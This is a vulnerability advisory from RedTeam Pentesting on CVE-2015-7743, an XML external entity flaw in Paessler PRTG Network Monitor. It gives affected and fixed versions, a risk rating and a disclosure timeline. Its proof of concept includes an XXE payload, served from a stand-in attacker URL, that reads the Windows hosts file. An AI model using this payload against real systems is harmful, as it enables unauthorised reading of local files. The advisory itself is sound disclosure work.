RedTeam Pentesting GmbH

XML External Entity Expansion in Paessler PRTG Network Monitor

PRTG Network Monitor can read local files on the PRTG host system via XML external entity expansion.

Details

Product: Paessler PRTG Network Monitor
Affected Versions: 14.4.12.3282
Fixed Versions: 16.2.23.3077/3078
Vulnerability Type: XML External Entity Expansion
Security Risk: medium
Vendor URL: https://www.paessler.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-012
Advisory Status: published
CVE: CVE-2015-7743
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7743

Introduction

“PRTG Network Monitor is the powerful and comprehensive network monitoring solution from Paessler AG. It monitors your network using a whole range of technologies and assures the availability of network components and measures traffic and usage. PRTG saves costs by avoiding outages, optimizing connections, saving time and controlling service level agreements (SLAs).”

(from the vendor’s website https://www.paessler.com)

More Details

An attacker with access to a PRTG Network Monitor account with sufficient privileges to create or configure XML/REST sensors can read files stored on the system’s local disk. These sensors are intended to query a URL and, depending on the configuration, check whether there is a valid response or read the value of a specific XML node in the document that is returned. This functionality is vulnerable to XML external entity expansion.

Proof of Concept

In order to exploit this vulnerability an HTTP XML/REST Value sensor has to be set up to access an attacker-controlled URL and to read the value of a specific XML node, for example:

https://attacker.example.com/xeee-hosts.xml

The XML document “xeee-hosts.xml” contains an external entity that uses the “SYSTEM” keyword to load a local file as the content of the “hosts” entity:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY hosts SYSTEM "file://C:\Windows\System32\drivers\etc\hosts">
]>
<root>&hosts;</root>

Since the XML parser of PRTG Network Monitor evaluates external entities, the XML parser fetches the file C:WindowsSystem32driversetchosts from the disk of the local system and inserts its content into the “root” node of the XML document. If the sensor is configured to return the value of that “root” node, the contents of that file are displayed in the web interface of PRTG Network Monitor. This discloses the contents of the file to attackers which otherwise would not be able to read local files.

Fix

Update to a version greater or equal to 16.2.23.3077/3078 (see https://www.paessler.com/prtg/history/stable).

Security Risk

Attackers who can create new HTTP XML/REST sensors in PRTG Network Monitor, are able to use the XML external entity expansion to read files on the local system. Depending on the data stored on the vulnerable system, this vulnerability may pose a high risk. However, as attackers are required to already have valid user credentials for the application, the vulnerability is only rated to have a medium risk potential.

Timeline

2015-08-28 Vulnerability identified in PRTG Network Monitor
2015-09-04 Customer approved disclosure of vulnerability
2015-09-04 CVE ID requested
2015-09-24 CVE ID requested again
2015-10-07 CVE ID assigned
2015-10-21 Vendor contacted
2015-10-23 Vendor provided a private build and asked for validation
2015-10-26 RedTeam tried to contact customer to validate the fix
2015-11-13 Vendor asked if RedTeam could already verify the fix
2015-11-13 RedTeam asked customer again to validate the fix
2016-04-04 Vendor released fixed version
2016-05-20 RedTeam can finally validate the fix with customer
2016-05-31 Advisory released
2016-06-13 Vendor asked for a timeline update

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